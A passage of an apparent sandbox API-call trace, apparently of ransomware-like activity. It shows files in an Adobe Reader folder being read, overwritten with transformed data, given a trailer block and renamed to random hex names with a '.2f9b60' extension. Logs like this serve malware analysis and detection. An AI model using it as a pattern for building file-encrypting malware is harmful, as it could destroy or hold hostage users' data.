Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0x618cb9e7 [0153.694] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0x1c1d7baf [0153.694] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0xaf7fce3 [0153.694] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0x3a9037cc [0153.694] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0x5cb018b7 [0153.694] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0x4bbe2c4f [0153.694] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0x16024e15 [0153.694] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0x3189ad8d [0153.694] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0xe8307b9 [0153.695] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0x48decea3 [0153.695] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0x552c0b2f [0153.695] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0x1eecaa9a [0153.695] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0x57b67124 [0153.695] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0x3caa5743 [0153.695] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0x3682a56d [0153.695] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0x7e861209 [0153.695] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0x6e727724 [0153.695] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0x62068a16 [0153.695] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0x4edf4c82 [0153.695] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0x70ff07b8 [0153.695] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0x68a176fe [0153.695] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0x2c0a01d6 [0153.695] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0x1046c8cc [0153.695] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0x38f6867 [0153.695] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0x382a579b [0153.695] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0x1b8a4a2a [0153.695] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0x4a60cd17 [0153.695] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0x476a5baf [0153.695] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0x26017747 [0153.695] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0x5dd5ca44 [0153.695] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0x482220e1 [0153.695] RtlRandomEx (in: Seed=0x266cfbf0 | out: Seed=0x266cfbf0) returned 0x5da33d35 [0153.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053dc0 [0153.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061bb0 [0153.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053df0 [0153.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061bb0) returned 1 [0153.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053d90) returned 1 [0153.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058fb0 [0153.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061bb0 [0153.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427252c0 [0153.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42728ed0 [0153.708] ReadFile (in: hFile=0x146c, lpBuffer=0x427252c0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x266cfbf0, lpOverlapped=0x0 | out: lpBuffer=0x427252c0*, lpNumberOfBytesRead=0x266cfbf0*=0x2000, lpOverlapped=0x0) returned 1 [0154.612] SetFilePointerEx (in: hFile=0x146c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.612] WriteFile (in: hFile=0x146c, lpBuffer=0x42728ed0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x266cfbf4, lpOverlapped=0x0 | out: lpBuffer=0x42728ed0*, lpNumberOfBytesWritten=0x266cfbf4*=0x2000, lpOverlapped=0x0) returned 1 [0162.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19290 [0162.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c192c0 [0162.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c192c0) returned 1 [0162.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42728ed0) returned 1 [0162.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427252c0) returned 1 [0162.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061bb0) returned 1 [0162.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058fb0) returned 1 [0162.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c192c0 [0162.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058fb0 [0162.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061bb0 [0162.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c192f0 [0162.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c192f0) returned 1 [0162.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c192f0 [0162.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19320 [0162.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19350 [0162.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19350) returned 1 [0162.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061bb0) returned 1 [0162.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058fb0) returned 1 [0162.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x42c17190 [0162.609] SetFilePointerEx (in: hFile=0x146c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.609] WriteFile (hFile=0x146c, lpBuffer=0x42c17190, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x266cfd10, lpOverlapped=0x0) [0200.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1de0 [0200.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8676c0 [0200.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262690 [0200.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262690) returned 1 [0200.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x42c0f0e0 [0200.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262690 [0200.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263290 [0200.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263290) returned 1 [0200.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8676c0) returned 1 [0200.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1de0) returned 1 [0200.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d8400 [0200.582] sprintf (in: _Dest=0x1b7d8400, _Format="%c%c" | out: _Dest="ab") returned 2 [0200.582] sprintf (in: _Dest=0x1b7d8402, _Format="%c%c" | out: _Dest="8b") returned 2 [0200.582] sprintf (in: _Dest=0x1b7d8404, _Format="%c%c" | out: _Dest="fd") returned 2 [0200.582] sprintf (in: _Dest=0x1b7d8406, _Format="%c%c" | out: _Dest="d8") returned 2 [0200.582] sprintf (in: _Dest=0x1b7d8408, _Format="%c%c" | out: _Dest="a0") returned 2 [0200.582] sprintf (in: _Dest=0x1b7d840a, _Format="%c%c" | out: _Dest="d0") returned 2 [0200.582] sprintf (in: _Dest=0x1b7d840c, _Format="%c%c" | out: _Dest="24") returned 2 [0200.582] sprintf (in: _Dest=0x1b7d840e, _Format="%c%c" | out: _Dest="e2") returned 2 [0200.582] sprintf (in: _Dest=0x1b7d8410, _Format="%c%c" | out: _Dest="7a") returned 2 [0200.582] sprintf (in: _Dest=0x1b7d8412, _Format="%c%c" | out: _Dest="a0") returned 2 [0200.582] sprintf (in: _Dest=0x1b7d8414, _Format="%c%c" | out: _Dest="94") returned 2 [0200.582] sprintf (in: _Dest=0x1b7d8416, _Format="%c%c" | out: _Dest="2f") returned 2 [0200.582] sprintf (in: _Dest=0x1b7d8418, _Format="%c%c" | out: _Dest="59") returned 2 [0200.582] sprintf (in: _Dest=0x1b7d841a, _Format="%c%c" | out: _Dest="d8") returned 2 [0200.582] sprintf (in: _Dest=0x1b7d841c, _Format="%c%c" | out: _Dest="42") returned 2 [0200.582] sprintf (in: _Dest=0x1b7d841e, _Format="%c%c" | out: _Dest="d1") returned 2 [0200.583] sprintf (in: _Dest=0x1b7d8420, _Format="%c%c" | out: _Dest="e0") returned 2 [0200.583] sprintf (in: _Dest=0x1b7d8422, _Format="%c%c" | out: _Dest="73") returned 2 [0200.583] sprintf (in: _Dest=0x1b7d8424, _Format="%c%c" | out: _Dest="41") returned 2 [0200.583] sprintf (in: _Dest=0x1b7d8426, _Format="%c%c" | out: _Dest="03") returned 2 [0200.583] sprintf (in: _Dest=0x1b7d8428, _Format="%c%c" | out: _Dest="58") returned 2 [0200.583] sprintf (in: _Dest=0x1b7d842a, _Format="%c%c" | out: _Dest="76") returned 2 [0200.583] RtlInitAnsiString (in: DestinationString=0x266cfd88, SourceString="ab8bfdd8a0d024e27aa0942f59d842d1e07341035876" | out: DestinationString="ab8bfdd8a0d024e27aa0942f59d842d1e07341035876") [0200.583] RtlAnsiStringToUnicodeString (in: DestinationString=0x266cfd58, SourceString="ab8bfdd8a0d024e27aa0942f59d842d1e07341035876", AllocateDestinationString=1 | out: DestinationString="ab8bfdd8a0d024e27aa0942f59d842d1e07341035876") returned 0x0 [0200.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430a0d00 [0200.584] wcscat (in: _Dest=0x43188a40, _Source="ab8bfdd8a0d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\ab8bfdd8a0d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\ab8bfdd8a0d" [0200.584] wcscat (in: _Dest=0x43188a40, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\ab8bfdd8a0d.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\ab8bfdd8a0d.2f9b60" [0200.584] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\ab8bfdd8a0d.2f9b60", NtPathName=0x266cfd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\ab8bfdd8a0d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x431ee220 Thread: id = 2419 os_tid = 0x1e40 [0153.388] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.esp")) returned 0x20 [0153.389] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.ESP", dwFileAttributes=0x20) returned 1 [0153.389] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.esp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1458 [0153.390] GetFileSizeEx (in: hFile=0x1458, lpFileSize=0x2645fc00 | out: lpFileSize=0x2645fc00*=7680) returned 1 [0153.390] SetFilePointerEx (in: hFile=0x1458, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.390] ReadFile (in: hFile=0x1458, lpBuffer=0x2645fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2645fbc8, lpOverlapped=0x0 | out: lpBuffer=0x2645fb80*, lpNumberOfBytesRead=0x2645fbc8*=0x4, lpOverlapped=0x0) returned 1 [0153.621] SetFilePointerEx (in: hFile=0x1458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420539a0 [0153.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053a30 [0153.621] NtQuerySystemTime (in: CurrentTime=0x2645fac0 | out: CurrentTime=0x2645fac0*=132462177587530000) returned 0x0 [0153.621] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x57aadf33 [0153.621] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x108f9379 [0153.621] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x76acb528 [0153.621] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x4a31df5 [0153.621] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x458d1d08 [0153.621] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x4aae549f [0153.621] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x7a858d6b [0153.621] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x55e7a13f [0153.621] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x4df34f7c [0153.621] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x24a5a1d9 [0153.621] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x22a41538 [0153.621] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x44276145 [0153.621] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x74598503 [0153.621] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x33ef4138 [0153.621] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x592d69cc [0153.621] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x1137d8be [0153.621] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x32c85633 [0153.622] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x6c875024 [0153.622] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x61a18d07 [0153.622] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x7e472114 [0153.622] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x22a41538 [0153.622] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x3924b31d [0153.622] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x6bdc8576 [0153.622] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x55fc4e21 [0153.622] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x60b7786 [0153.622] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x8315f17 [0153.622] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x5a554078 [0153.622] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x4eb6d704 [0153.622] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x5aead6c7 [0153.622] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x5d79eb0d [0153.622] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x5bfd41d0 [0153.622] RtlRandomEx (in: Seed=0x2645fab0 | out: Seed=0x2645fab0) returned 0x7c323328 [0153.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053a60 [0153.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061130 [0153.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053a90 [0153.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061130) returned 1 [0153.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053a30) returned 1 [0153.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058dd0 [0153.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061130 [0153.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x426f8200 [0153.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x426fbe10 [0153.632] ReadFile (in: hFile=0x1458, lpBuffer=0x426f8200, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x2645fab0, lpOverlapped=0x0 | out: lpBuffer=0x426f8200*, lpNumberOfBytesRead=0x2645fab0*=0x1e00, lpOverlapped=0x0) returned 1 [0154.264] SetFilePointerEx (in: hFile=0x1458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.264] WriteFile (in: hFile=0x1458, lpBuffer=0x426fbe10*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x2645fab4, lpOverlapped=0x0 | out: lpBuffer=0x426fbe10*, lpNumberOfBytesWritten=0x2645fab4*=0x1e00, lpOverlapped=0x0) returned 1 [0162.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7d30 [0162.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7d60 [0162.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7d60) returned 1 [0162.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x426fbe10) returned 1 [0162.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x426f8200) returned 1 [0162.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061130) returned 1 [0162.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058dd0) returned 1 [0162.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a7d60 [0162.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058dd0 [0162.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061130 [0162.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7d90 [0162.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7d90) returned 1 [0162.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a7d90 [0162.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7dc0 [0162.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7df0 [0162.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7df0) returned 1 [0162.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061130) returned 1 [0162.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058dd0) returned 1 [0162.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x42c161a0 [0162.179] SetFilePointerEx (in: hFile=0x1458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.179] WriteFile (in: hFile=0x1458, lpBuffer=0x42c161a0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2645fbd0, lpOverlapped=0x0 | out: lpBuffer=0x42c161a0*, lpNumberOfBytesWritten=0x2645fbd0*=0x108, lpOverlapped=0x0) returned 1 [0164.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059970 [0164.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0164.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053b20 [0164.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053b20) returned 1 [0164.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d140 [0164.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053b20 [0164.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053af0 [0164.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053af0) returned 1 [0164.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0164.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0164.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d7f40 [0164.184] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="ad") returned 2 [0164.184] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="ac") returned 2 [0164.184] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="cd") returned 2 [0164.184] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="83") returned 2 [0164.184] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="2c") returned 2 [0164.184] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="24") returned 2 [0164.184] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="54") returned 2 [0164.184] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="28") returned 2 [0164.185] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="de") returned 2 [0164.185] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="9d") returned 2 [0164.185] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="5c") returned 2 [0164.185] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="ef") returned 2 [0164.185] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="cd") returned 2 [0164.185] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="76") returned 2 [0164.185] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="62") returned 2 [0164.185] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="c1") returned 2 [0164.185] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="56") returned 2 [0164.185] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="b4") returned 2 [0164.185] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="9d") returned 2 [0164.185] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="1a") returned 2 [0164.185] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="cb") returned 2 [0164.185] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="14") returned 2 [0164.185] RtlInitAnsiString (in: DestinationString=0x2645fc48, SourceString="adaccd832c245428de9d5cefcd7662c156b49d1acb14" | out: DestinationString="adaccd832c245428de9d5cefcd7662c156b49d1acb14") [0164.185] RtlAnsiStringToUnicodeString (in: DestinationString=0x2645fc18, SourceString="adaccd832c245428de9d5cefcd7662c156b49d1acb14", AllocateDestinationString=1 | out: DestinationString="adaccd832c245428de9d5cefcd7662c156b49d1acb14") returned 0x0 [0164.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x203fad60 [0164.186] RtlFreeAnsiString (AnsiString="a") [0164.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0164.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d140) returned 1 [0164.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053b20) returned 1 [0164.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c161a0) returned 1 [0164.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7d90) returned 1 [0164.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7dc0) returned 1 [0164.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7d60) returned 1 [0164.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7d30) returned 1 [0164.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420539a0) returned 1 [0164.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053a60) returned 1 [0164.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053a90) returned 1 [0164.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230ebe0 [0164.189] wcscat (in: _Dest=0x4230ebe0, _Source="adaccd832c2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\adaccd832c2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\adaccd832c2" [0164.189] wcscat (in: _Dest=0x4230ebe0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 